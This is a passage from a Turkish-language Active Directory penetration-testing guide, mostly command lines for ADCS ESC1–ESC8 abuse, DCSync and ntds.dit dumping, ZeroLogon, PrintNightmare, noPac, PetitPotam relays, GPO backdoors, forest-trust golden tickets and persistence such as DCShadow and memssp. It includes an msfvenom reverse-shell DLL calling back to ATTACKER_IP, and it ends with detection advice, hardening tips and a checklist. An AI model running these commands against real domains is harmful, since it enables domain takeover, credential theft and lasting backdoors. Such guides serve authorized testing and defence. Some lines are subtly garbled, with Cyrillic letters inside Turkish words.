# 5. S4U2Self + S4U2Proxy (Rubeus)
$fakehash = (Get-Domain).Name  # RC4 hash hesapla
Rubeus.exe hash /password:FakePass123! /user:FAKEMACHINE$ /domain:corp.local
Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:HASH_FROM_ABOVE /impersonateuser:Administrator /msdsspn:cifs/TARGET_COMPUTER.corp.local /ptt

# 6. Erişim testi
dir \\TARGET_COMPUTER.corp.local\C$
# Linux — Impacket ile RBCD saldırısı
python3 rbcd.py corp.local/jdoe:'Password123' -action write -delegate-from 'FAKEMACHINE$' -delegate-to 'TARGET_COMPUTER$'
python3 getST.py corp.local/'FAKEMACHINE$':'FakePass123!' -spn cifs/TARGET_COMPUTER.corp.local -impersonate Administrator
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass TARGET_COMPUTER.corp.local

Bölüm 7: AD Certificate Services (ADCS) Saldırıları

ADCS, kurumsal PKI altyapısı sağlar. Yanlış yapılandırılmış sertifika şablonları, domain yöneticisi seviyesinde kimlik taklidi imkânı tanır.

7.1 Keşif

# Certipy ile ADCS keşfi
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -old-bloodhound -output adcs_bh

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u jdoe -p 'Password123' -M adcs

# Certify (Windows)
Certify.exe find /vulnerable /currentuser

7.2 ESC1 — ENROLLEE_SUPPLIES_SUBJECT + Client Auth

Koşullar:

  • Şablon flag'i: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set
  • EKU: Client Authentication veya Smart Card Logon
  • Yönetici onayı yok
  • Domain kullanıcıları kayıt olabilir
# Sertifika iste — SAN olarak [email protected] belirt
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template VulnerableTemplate \
  -upn [email protected] -dc-ip 10.10.10.10

# Sertifikayla kimlik doğrula → NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain corp.local

# NT hash ile PTH
python3 secretsdump.py -hashes :NT_HASH [email protected]

7.3 ESC2 — Any Purpose EKU

Şablonun EKU'su Any Purpose ise, sertifika Enrollment Agent olarak kullanılabilir ve ESC3 saldırısına geçilebilir.

7.4 ESC3 — Certificate Request Agent

# Adım 1: Enrollment Agent sertifikası al (ESC3 şablonundan)
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template ESC3Template

# Adım 2: Enrollment Agent sertifikasıyla başka kullanıcı adına sertifika iste
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template User \
  -on-behalf-of 'corp\administrator' -pfx agent.pfx -dc-ip 10.10.10.10

7.5 ESC4 — Template ACL Abuse

Şablon üzerinde WriteDACL/GenericWrite varsa, şablonu ESC1'e dönüştürebilirsiniz.

# ESC4: şablonu değiştir → ESC1'e dönüştür → ESC1 saldırısını yap → geri al
certipy template -u [email protected] -p 'Password123' -template VulnerableTemplate \
  -save-old -dc-ip 10.10.10.10

# Şimdi ESC1 saldırısı yap
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template VulnerableTemplate \
  -upn [email protected] -dc-ip 10.10.10.10

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

# Temizlik: eski şablon ayarlarını geri yükle
certipy template -u [email protected] -p 'Password123' -template VulnerableTemplate \
  -configuration old_config.json -dc-ip 10.10.10.10

7.6 ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

CA seviyesinde bu flag aktifse, tüm şablonlar ESC1 gibi davranır.

# CA flag kontrolü
certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.10 -stdout | grep -i "ATTRIBUTESUBJECTALTNAME2"

# Flag aktifse, herhangi bir Client Auth şablonunda SAN belirtebilirsiniz
certipy req -u [email protected] -p 'Password123' -ca CORP-CA -template User \
  -upn [email protected] -dc-ip 10.10.10.10

7.7 ESC8 — NTLM Relay → AD CS HTTP

AD CS HTTP enrollment endpoint'i (certsrv) NTLM kimlik doğrulamasını kabul ediyorsa, saldırgan DC'yi coerce ederek DC'nin NTLM kimlik bilgilerini ADCS'e relay edebilir ve DC adına sertifika alabilir.

# 1. NTLM relay başlat — ADCS HTTP'ye relay
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs \
  --template DomainController

# 2. DC'yi coerce et (PetitPotam — MS-EFSR)
python3 PetitPotam.py ATTACKER_IP DC01_IP
# veya
python3 dfscoerce.py ATTACKER_IP DC01_IP          # MS-DFSNM
python3 shadowcoerce.py ATTACKER_IP DC01_IP        # MS-FSRVP

# 3. Relay sertifikayı alır (base64) → dosyaya kaydet
# 4. DC sertifikasıyla kimlik doğrula → NT hash
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 -domain corp.local

# 5. DCSync
python3 secretsdump.py -hashes :DC01_NT_HASH 'corp.local/[email protected]'

Bölüm 8: DCSync ve Domain Ele Geçirme

DCSync, Domain Controller olmadan replication API'sini kullanarak tüm domain hash'lerini dökmektir. İki temel hak gerektirir.

8.1 Gerekli Haklar

# Mevcut DCSync hakkı olanları bul
Get-DomainObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
  $_.ObjectAceType -match "DS-Replication-Get-Changes" -and
  $_.ActiveDirectoryRights -match "ExtendedRight"
} | select IdentityReferenceName, ObjectAceType

# DCSync için gereken 3 genişletilmiş hak:
# - DS-Replication-Get-Changes         (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-All     (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-In-Filtered-Set (89e95b76-444d-4c62-991a-0facbeda640c)

8.2 DCSync Saldırısı

# Impacket secretsdump.py (Linux — en yaygın)
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc-ntlm
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc-user krbtgt
# Mimikatz (Windows — DC'ye network erişim gerekli)
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv

8.3 ntds.dit Çıkarma (Volume Shadow Copy)

DC'ye local erişim varsa, ntds.dit dosyasını doğrudan kopyalayabilirsiniz.

REM Gölge kopya oluştur
vssadmin create shadow /for=C:

REM ntds.dit ve SYSTEM hive'ını kopyala
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive

REM Saldırı makinesine aktar
# Impacket ile çözümle
python3 secretsdump.py -ntds ntds.dit -system SYSTEM.hive LOCAL -outputfile domain_hashes

8.4 DSRM Account (Local DC Admin)

DSRM (Directory Services Restore Mode), DC'nin yerel yönetici hesabıdır. Genelde devre dışıdır ama çalıştırılabilir.

# DC üzerinde DSRM hesabını aktifleştir
# HKLM\System\CurrentControlSet\Control\Lsa\ → DsrmAdminLogonBehavior = 2
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

# DSRM şifresini set et (DC üzerinde)
ntdsutil "set dsrm password" "reset password on server null" quit quit

# DC'ye yerel admin olarak bağlan
crackmapexec smb DC01 -u Administrator -H DSRM_NTLM_HASH --local-auth

Bölüm 9: Kritik CVE'ler

9.1 ZeroLogon (CVE-2020-1472)

Teknik: Netlogon protokolünün NetrServerAuthenticate3 fonksiyonundaki AES-CFB8 şifreleme hatası. IV olarak sıfır kullanıldığında, sıfır-dolu bir client challenge ile yaklaşık 1/256 olasılıkla komputasyon doğrulama atlayabilir. 2^32 deneme gerekir ama ortalama 256 denemede başarıya ulaşır.

Etki: Kimlik doğrulama olmadan DC'nin makine hesabı şifresini sıfırlama → domain ele geçirme.

# Güvenlik araştırması için — PoC (yetkili test)
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# DC makine hesabı boş şifre ile authenticate
python3 secretsdump.py -no-pass -just-dc corp.local/'DC01$'@10.10.10.10

# ÖNEMLI: Bu saldırı DC'nin şifresini sıfırlar ve domain çakılabilir
# MUTLAKA eski şifreyi geri yüklemelisiniz (impacket restorepassword.py)
python3 restorepassword.py corp.local/[email protected] -target-ip 10.10.10.10 -hexpass ORIGINAL_HEX

Yama: MS20-073 — Ekim 2020'den itibaren zorunlu Netlogon güvenli kanal.

9.2 PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Teknik: Windows Print Spooler (spoolsv.exe) servisinin RpcAddPrinterDriverEx fonksiyonu, yetkisiz kullanıcıların uzaktan SYSTEM yetkileriyle DLL yüklemesine izin verir.

# Impacket — PrintNightmare exploit
python3 CVE-2021-1675.py corp.local/jdoe:'Password123'@10.10.10.10 '\\ATTACKER_IP\share\evil.dll'

# cube0x0 PoC (Windows'tan)
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DLL "\\ATTACKER_IP\share\evil.dll"

# Önce SMB share + DLL hazırla
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll > evil.dll
python3 -m impacket.smbserver share . -smb2support

Yama: MS21-034 + Print Spooler'ı gereksiz sistemlerde devre dışı bırakın.

9.3 noPac — sAMAccountName Spoofing (CVE-2021-42278 + CVE-2021-42287)

Teknik: İki CVE birleşimidir:

  • CVE-2021-42278: Makine hesabının sAMAccountName'i üzerinde $ son eki zorunlu değil — herhangi bir isim kullanılabilir.
  • CVE-2021-42287: TGT talebinde bulunan kullanıcı silinirse/yeniden adlandırılırsa KDC, DC hesabını bulup bilet üretir.

Sonuç: Makine hesabı oluşturun → sAMAccountName = DC adı → TGT isteyin → hesabı silin/yeniden adlandırın → KDC DC biletini verir → DCSync.

# noPac.py (tek araç, tüm adımları otomatikleştirir)
python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 -shell --impersonate administrator
python3 noPac.py corp.local/jdoe:'Password123' -dc-ip 10.10.10.10 -dc-host DC01 --dump --impersonate administrator

# Manuel adımlar
# 1. Makine hesabı oluştur (msDS-MachineAccountQuota >= 1)
python3 addcomputer.py corp.local/jdoe:'Password123' -method ldaps -computer-name 'ATTACK$' -computer-pass 'P@ss1234'
# 2. sAMAccountName'i DC adı ile aynı yap ($ olmadan)
python3 renameMachine.py corp.local/jdoe:'Password123' -current-name 'ATTACK$' -new-name 'DC01'
# 3. TGT iste
python3 getTGT.py corp.local/'DC01':'P@ss1234' -dc-ip 10.10.10.10
# 4. sAMAccountName'i değiştir (KDC DC01'i bulamaz → DC01$'a fallback)
python3 renameMachine.py corp.local/jdoe:'Password123' -current-name 'DC01' -new-name 'ATTACK2$'
# 5. DCSync
python3 secretsdump.py -k -no-pass [email protected] -just-dc

Yama: MS21-071 — Kasım 2021. sAMAccountName'de $ zorunluluğu getirildi.

9.4 PetitPotam (CVE-2021-36942)

Teknik: MS-EFSR (Encrypting File System Remote) protokolünün EfsRpcOpenFileRaw fonksiyonu, hedef sunucuyu saldırgan UNC yoluna NTLM authenticate olmaya zorlar. Kimlik doğrulama gerektirmez.

# PetitPotam ile coercion
python3 PetitPotam.py ATTACKER_IP DC01_IP
python3 PetitPotam.py -u jdoe -p 'Password123' -d corp.local ATTACKER_IP DC01_IP  # auth

# ESC8 ile birleşim (en güçlü kombinasyon)
# Terminal 1: NTLM relay → ADCS
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController

# Terminal 2: DC'yi coerce et
python3 PetitPotam.py ATTACKER_IP DC01_IP

# Terminal 3: Sertifikayı auth için kullan
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10

# Terminal 4: DCSync
python3 secretsdump.py -hashes :DC01_HASH 'corp.local/[email protected]'

9.5 PrivExchange

Exchange makine hesabının domain kök nesnesi üzerinde WriteDACL hakkı vardır. Bu, Exchange sunucusunu bir hedefe kimlik doğrulamaya zorlamak ve bu kimlik bilgilerini relay ederek DCSync hakları kazanmakla sonuçlanır.

python3 privexchange.py -ah ATTACKER_IP exchange01.corp.local -u jdoe -p 'Password123' -d corp.local
# Parallel: ntlmrelayx ile relay
python3 ntlmrelayx.py -t ldap://DC01 --escalate-user jdoe

Bölüm 10: GPO Saldırıları

10.1 GPO Numaralandırma

# Tüm GPO'ları listele
Get-DomainGPO | select displayname, gpcfilesyspath, whenchanged

# Üzerinde kontrol sahibi olduğumuz GPO'lar
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
  ($_.ActiveDirectoryRights -match "GenericAll|WriteDacl|CreateChild|WriteProperty") -and
  ($_.SecurityIdentifier -match "jdoe|IT_Helpdesk_SID")
}

# OU → GPO link analizi
Get-DomainOU -Properties gplink | Where-Object {$_.gplink -ne $null}

# Belirli bir OU'ya uygulanan GPO
Get-DomainGPO -ComputerIdentity WORKSTATION01

10.2 GPO Abuse ile Kod Çalıştırma

# SharpGPOAbuse — GPO üzerinde CreateChild/WriteProperty varsa
# Immediate Scheduled Task ekle
SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author "NT AUTHORITY\SYSTEM" \
  --Command "cmd.exe" --Arguments "/c net localgroup administrators jdoe /add" \
  --GPOName "Default Domain Policy"

# Kullanıcı oturum betiği ekle
SharpGPOAbuse.exe --AddUserScript --ScriptName "payload.bat" \
  --ScriptContents "net user hacker P@ss123! /add && net localgroup administrators hacker /add" \
  --GPOName "Default Domain Policy"

# PowerView ile GPO link
New-GPO -Name "Malicious" | New-GPLink -Target "OU=Workstations,DC=corp,DC=local"

Bölüm 11: Forest Trust Saldırıları

11.1 Trust Numaralandırma

# Trust ilişkileri
Get-DomainTrust
nltest /domain_trusts /all_trusts
Get-ForestTrust

# Trust tipi: Bidirectional, External, Forest
# TrustAttributes: 0x04 = Forest, 0x08 = Cross-org, 0x20 = Treat as external

11.2 SID History Abuse (ExtraSIDs Saldırısı)

# Şart: Kaynak domain → hedef domain tek yönlü trust
# Hedef domain DA SID'ini ExtraSIDs'e ekle
Get-DomainSID -Domain targetdomain.local

# Mimikatz — inter-forest Golden Ticket
kerberos::golden /user:Administrator /domain:source.local /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:KRBTGT_HASH /ptt
# S-1-5-21-TARGET-519 = target domain Enterprise Admins RID

11.3 Trust Ticket

# Trust key hash al
lsadump::dcsync /domain:source.local /user:target$   # inter-forest trust account

# Trust ticket oluştur
kerberos::golden /user:Administrator /domain:source.local /sid:S-1-5-21-SOURCE \
  /sids:S-1-5-21-TARGET-519 /rc4:TRUST_KEY_HASH /service:krbtgt /target:targetdomain.local /ptt

Bölüm 12: Kalıcılık (Persistence)

12.1 DCSync Hakları

# Kendimize DCSync hakkı ver (WriteDACL gerekli)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights DCSync

12.2 AdminSDHolder Manipülasyonu

# AdminSDHolder'a GenericAll ekle → saatlik SDProp ile tüm korunan hesaplara yayılır
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
  -PrincipalIdentity backdoor_user -Rights All

12.3 DSRM Account

# DC'nin yerel admin şifresini sıfırla
# DsrmAdminLogonBehavior = 2 ile remote login aktif et

12.4 DCShadow

Sahte bir Domain Controller gibi davranarak AD'ye zararlı değişiklikler push etme.

# Terminal 1 (DC rolünü simüle et)
lsadump::dcshadow /object:krbtgt /attribute:unicodePwd /value:"P@ssw0rd!"

# Terminal 2 (değişikliği tetikle)
lsadump::dcshadow /push

12.5 Custom SSP (Security Support Provider)

# Mimikatz mimilib.dll'yi LSASS'a yükle → tüm şifreler loglanır
misc::memssp
# Loglar: C:\Windows\System32\kiwissp.log

Bölüm 13: Savunma ve Tespit

13.1 Kritik Windows Event ID'leri

Event ID Açıklama Saldırı
4768 Kerberos TGT isteği AS-REP Roasting
4769 Kerberos TGS isteği Kerberoasting
4770 Kerberos TGT yenileme
4672 Özel ayrıcalık oturumu Admin login
4624 Başarılı login PtH, PtT
4625 Başarısız login Password spray
4776 NTLM doğrulama NTLM relay
4662 Nesne üzerinde işlem DCSync (DS-Replication)
4738 Kullanıcı hesabı değiştirildi Attribute manipulation
4742 Bilgisayar hesabı değiştirildi RBCD, noPac
5136 Dizin servisi nesnesi değiştirildi Attribute değişikliği
4648 Explicit credential ile login PtH

13.2 Tespit ve Önlemler

Kerberoasting Önlemleri:

  • Servis hesapları için Managed Service Account (MSA) veya Group Managed Service Account (gMSA) kullan
  • msDS-SupportedEncryptionTypes = 24 (yalnızca AES) zorla
  • 25+ karakterlik servis hesabı şifreleri kullan
  • Honeypot SPN hesapları oluştur (uyarı tetikleyici)

AS-REP Roasting Önlemleri:

  • DONT_REQUIRE_PREAUTH flag'ini kaldır (gereksiz hesaplarda)
  • AES128/256 şifreleme zorunlu kıl

ACL Abuse Önlemleri:

  • BloodHound CE ile periyodik ACL taraması
  • Tier model uygula: Tier 0 (DC), Tier 1 (Sunucular), Tier 2 (Kullanıcılar)
  • AD ACL tarama: Get-DomainObjectAcl ile yazma haklarını denetle

Delegation Güvenliği:

  • Unconstrained delegation: kaldır veya Protected Users grubuna al
  • msDS-MachineAccountQuota = 0 yap (RBCD önlemi)
  • Constrained delegation yerine RBCD tercih et, minimize et

ADCS Güvenliği:

  • Certipy / Certify ile periyodik ESC taraması
  • EDITF_ATTRIBUTESUBJECTALTNAME2 kapatın
  • HTTP enrollment'ta EPA (Extended Protection for Authentication) zorunlu kılın
  • Şablon onay yöneticisi zorunluluğu getirin

DCSync Önlemleri:

  • DS-Replication-Get-Changes haklarını denetle (yalnızca DC'ler ve AD Connect)
  • 4662 + 1131f6aa GUID kombinasyonunu izle

Genel Sertleştirme:

  • Protected Users grubunu kullan (Kerberos delegation, NTLM, WDigest devre dışı)
  • LAPS aktif et
  • SMB signing zorunlu kıl (NTLM relay önlemi)
  • LDAP signing + channel binding zorunlu kıl
  • Credential Guard etkinleştir (NTLM hash çalma önlemi)
  • PAM (Privileged Access Management) çözümü uygula
  • Print Spooler gereksiz sistemlerde devre dışı bırak

Araç Seti Özeti

Araç Kaynak Kategori
BloodHound / SharpHound github.com/BloodHoundAD Enumeration, path finding
PowerView (PowerSploit) github.com/PowerShellMafia AD query, ACL
Rubeus github.com/GhostPack/Rubeus Kerberos tickets
Mimikatz github.com/gentilkiwi/mimikatz Hash dump, ticket
Impacket github.com/fortra/impacket Protocol tools
CrackMapExec github.com/byt3bl33d3r/CrackMapExec SMB/LDAP/WinRM
Certipy github.com/ly4k/Certipy ADCS attacks
Whisker github.com/eladshamir/Whisker Shadow Credentials
PowerMad github.com/Kevin-Robertson/Powermad Machine accounts
PetitPotam github.com/topotam/PetitPotam NTLM coercion
Responder github.com/lgandx/Responder NTLM capture
noPac github.com/cube0x0/noPac CVE-2021-42278/42287

AD Pentest Kontrol Listesi

Keşif

  • [ ] Anonymous LDAP bind test edildi
  • [ ] Null session SMB test edildi
  • [ ] Domain controller, FQDN, IP tespiti yapıldı
  • [ ] SharpHound / BloodHound verisi toplandı
  • [ ] SPN'li hesaplar listelendi (Kerberoasting)
  • [ ] DONT_REQUIRE_PREAUTH hesaplar listelendi (AS-REP)
  • [ ] adminCount=1 hesaplar listelendi
  • [ ] msDS-MachineAccountQuota değeri kontrol edildi
  • [ ] LAPS aktif bilgisayarlar listelendi
  • [ ] GPO'lar ve bağlı OU'lar numaralandırıldı
  • [ ] Trust ilişkileri haritalandı

Kimlik Bilgisi Saldırıları

  • [ ] Password spray denenди (lockout hesaba katılarak)
  • [ ] AS-REP Roasting denenди
  • [ ] Kerberoasting denendi
  • [ ] Responder ile NTLM hash yakalandı
  • [ ] NTLM relay denenди (SMB signing kontrol)

ACL Analizi

  • [ ] BloodHound'da "Owned" kullanıcılardan outbound edge analizi
  • [ ] Tehlikeli ACE'ler (GenericAll, WriteDACL, WriteOwner) tespit edildi
  • [ ] Shadow Credentials (msDS-KeyCredentialLink) denenди
  • [ ] AdminSDHolder ACL incelendi
  • [ ] GPO write access kontrol edildi

Delegation

  • [ ] Unconstrained delegation bilgisayarları tespit edildi
  • [ ] Constrained delegation hesapları ve SPN listeleri incelendi
  • [ ] RBCD için GenericWrite hedefler tespit edildi

ADCS

  • [ ] ADCS varlığı tespit edildi
  • [ ] Certipy ile ESC1-ESC8 taraması yapıldı
  • [ ] HTTP enrollment NTLM denenді
  • [ ] EDITF_ATTRIBUTESUBJECTALTNAME2 flag kontrol edildi

Domain Ele Geçirme

  • [ ] DCSync hakları kontrol edildi
  • [ ] krbtgt hash alındı (DCSync, VSS veya ADCS ile)
  • [ ] Golden Ticket oluşturuldu ve doğrulandı
  • [ ] Kalıcılık mekanizması not edildi

CVE Kontrolleri

  • [ ] ZeroLogon (CVE-2020-1472) yama kontrolü
  • [ ] PrintNightmare (CVE-2021-1675) yama kontrolü
  • [ ] noPac (CVE-2021-42278/42287) yama kontrolü
  • [ ] PetitPotam (CVE-2021-36942) yama kontrolü

Sonuç

Active Directory, kurumsal ağların kalbidir. Yukarıda incelenen her saldırı vektörü, gerçek red team operasyonlarında defalarca kanıtlanmış tekniklerdir. Kerberoasting'den Shadow Credentials'a, ADCS ESC1'den RBCD'ye, ZeroLogon'dan noPac'e kadar her bir teknik, AD'nin tasarım kararlarından ya da yanlış yapılandırmalarından kaynaklanır.

Savunma perspektifinden bakıldığında: BloodHound'u defensif olarak kullanmak, tier model uygulamak, ADCS ortamını düzenli taramak ve kritik event ID'leri izlemek, saldırganın işini önemli ölçüde zorlaştırır.

Saldırı perspektifinden bakıldığında: Tek bir misconfigured ACE, Kerberoastable bir servis hesabı veya ESC1 açığı, domain'in tamamen ele geçirilmesiyle sonuçlanabilir.


Araştırmacılar: Will Schroeder (Rubeus, BloodHound) • Harmj0y (PowerView, BloodHound) • Andy Robbins (BloodHound) • Elad Shamir (Shadow Credentials) • Oliver Lyak (Certipy) • Simone Saviolo & Riccardo Ancarani (noPac) • Sébastien Thibault (PetitPotam) • Nikhil Mittal (PowerAD)
Konferanslar: DEF CON • Black Hat • BlueHat • SANS
Atıflar: SpecterOps "Certified Pre-Owned" (2021) • "Abusing Active Directory Permissions" (harmj0y) • Microsoft MSRC Advisory CVE-2020-1472 / CVE-2021-36942

Sıkça Sorulan Sorular

Active Directory sızma testine nereden başlanır?

Düşük yetkili numaralandırmayla başlayın: BloodHound, ldapsearch ve PowerView gibi araçlarla kullanıcıları, grupları, bilgisayarları, GPO'ları ve trust'ları haritalayın. Aktif sömürüye geçmeden önce AS-REP roast edilebilir hesaplar, Kerberoast edilebilir servis hesapları ve yanlış yapılandırılmış ACL'ler gibi hızlı kazanımları belirleyin.

Kerberoasting ile AS-REP Roasting arasındaki fark nedir?

Kerberoasting, bir Service Principal Name (SPN) taşıyan hesapları hedefler: kimliği doğrulanmış herhangi bir kullanıcı bir servis bileti talep edip servis hesabının parolasını çevrimdışı kırabilir. AS-REP Roasting ise Kerberos ön kimlik doğrulaması (pre-authentication) kapalı olan hesapları hedefler ve hiçbir kimlik bilgisi olmadan kırılabilir bir AS-REP elde etmenizi sağlar.

DCSync saldırısı nedir?

DCSync, Directory Replication Service (DRSUAPI) protokolünü suistimal eder: 'Replicating Directory Changes' haklarına sahip bir hesap (normalde yalnızca Domain Controller'lar ve yüksek yetkili gruplar) bir DC'den parola hash'lerini — krbtgt hash'i dahil — replike etmesini isteyebilir; bu da Golden Ticket üretimini ve tam domain ele geçirmeyi mümkün kılar.

Savunmacılar Active Directory saldırılarını nasıl tespit eder?

Anormal Kerberos bilet taleplerini (RC4 şifrelemeli 4769 olayı), ön kimlik doğrulaması kapalı hesaplar için AS-REP taleplerini, DC olmayan makinelerden gelen replikasyon taleplerini (DCSync), ani ACL değişikliklerini ve sertifika enrollment anormalliklerini izleyin. BloodHound Community Edition ve honeytoken hesapları, saldırı yollarını ve erken aşama etkinliğini ortaya çıkarmaya yardımcı olur.